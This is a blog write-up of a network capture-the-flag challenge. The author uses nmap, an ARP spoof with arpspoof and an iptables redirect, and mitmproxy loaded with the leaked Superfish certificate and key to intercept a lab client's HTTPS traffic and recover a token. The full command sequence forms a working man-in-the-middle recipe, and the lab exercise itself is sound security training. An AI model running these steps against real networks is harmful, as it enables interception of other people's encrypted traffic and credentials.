usd hacking challenge 2016 writeup: token 4

This is part 3 in a series of writeups on the 2016 usd AG hacking challenge.

Introduction

This very nice networking challenge with some light crypto thrown in had me using old and proven techniques like ARP spoofing, but also got me acquainted with a slick new tool I had not used before. It was also partly based on a recent real-life security disaster. I really enjoy networking challenges, and this one was no exception.

A virtual network

I set up the two VMs, client and server, as instructed on the challenge website and placed a Kali VM on the same host-only adapter. Since I did not even know what networks and IP addresses were configured on the VMs, I started Wireshark on my attack VM before even booting the challenge VMs, so that I could capture any early ARP traffic:

arp packet

So, a machine 192.168.10.9 was asking for machine 192.168.10.10, obviously the client trying to talk to the server. I gave my attack VM 192.168.10.100 and had a look at the server:

root@kali:~# nmap -n -A -T4 192.168.10.10

Starting Nmap 7.10 ( https://nmap.org ) at 2016-03-20 22:30 CET
Nmap scan report for 192.168.10.10
Host is up (0.00036s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.17 ((Unix))
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.17 (Unix)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.4.17 ((Unix))
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.17 (Unix)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=192.168.10.10/organizationName=Superfish, Inc./stateOrProvinceName=CA/countryName=US
| Not valid before: 2016-02-25T15:53:55
|_Not valid after:  2017-02-24T15:53:55
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:65:32:37 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.2
Network Distance: 1 hop

OK, a HTTPS server with a certificate from Superfish. This sort of rang a bell, but at first I did not process this information correctly. The challenge website had mentioned "fishy" certificates, and I just assumed that maybe there was no validation happening on the client side.

Obvious MITM is obvious

As I thought the token might be somewhere inside that encrypted communication, I wanted to launch a MITM attack. There is a tool in Kali Linux now I had not used before, mitmproxy. Really cool features and a slick UI. The reverse proxy mode seemed to be exactly what I needed. Combined with an ARP spoof, I should be able to intercept requests from the client and forward them to the server, and vice versa, while looking at the content.

Standard ARP spoof setup:

root@kali:~# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
root@kali:~# arpspoof -i eth0 -t 192.168.10.9 192.168.10.10
8:0:27:df:8c:81 8:0:27:c4:5d:f3 0806 42: arp reply 192.168.10.10 is-at 8:0:27:df:8c:81
8:0:27:df:8c:81 8:0:27:c4:5d:f3 0806 42: arp reply 192.168.10.10 is-at 8:0:27:df:8c:81
8:0:27:df:8c:81 8:0:27:c4:5d:f3 0806 42: arp reply 192.168.10.10 is-at 8:0:27:df:8c:81

Then I started mitmproxy in reverse proxy mode:

root@kali:~/usdhc# mitmproxy -R https://192.168.10.10

However, nothing showed up. I verified that ARP spoof and mitmproxy were working by doing a curl -k https://192.168.10.10 from another machine after ARP poisoning it. I got the It works from Apache, so up to layer 4, my plan was good.

When I looked at Wireshark, which was still running on my Kali VM, I noticed:

failed TLS handshake

Fishy MITM goes phishing

"Unknown CA" - so apparently, there was certificate validation on the client side after all. Superfish.... wasn't there.... ah, yes, there was. And the certificate is publicly available, together with its brute-forced passphrase.

So I hooked up my Kali to the Internet again and got certificate and key in one file:

root@kali:~/usdhc# wget https://gist.github.com/mathiasbynens/7a13a467b22c42505490/raw/07462b9e07f2ab5ccf0dd4004a449c128005c578/superfish.pem

Back in the challenge network, I told mitmproxy to use it:

root@kali:~/usdhc# mitmproxy -R https://192.168.10.10 --cert superfish.pem
Enter PEM pass phrase:

And sure enough, the first flow appeared after a few seconds.

When I opened it, I saw this request:

mitm request

I did not bother with this BASE64 encoded string. Seemed to be a credential, i.e. the "magic word" the server asked for when I just connected to that detokenizer.php URL with my browser.

What I was looking for was in the response:

mitm request

On to part 4!

Comments !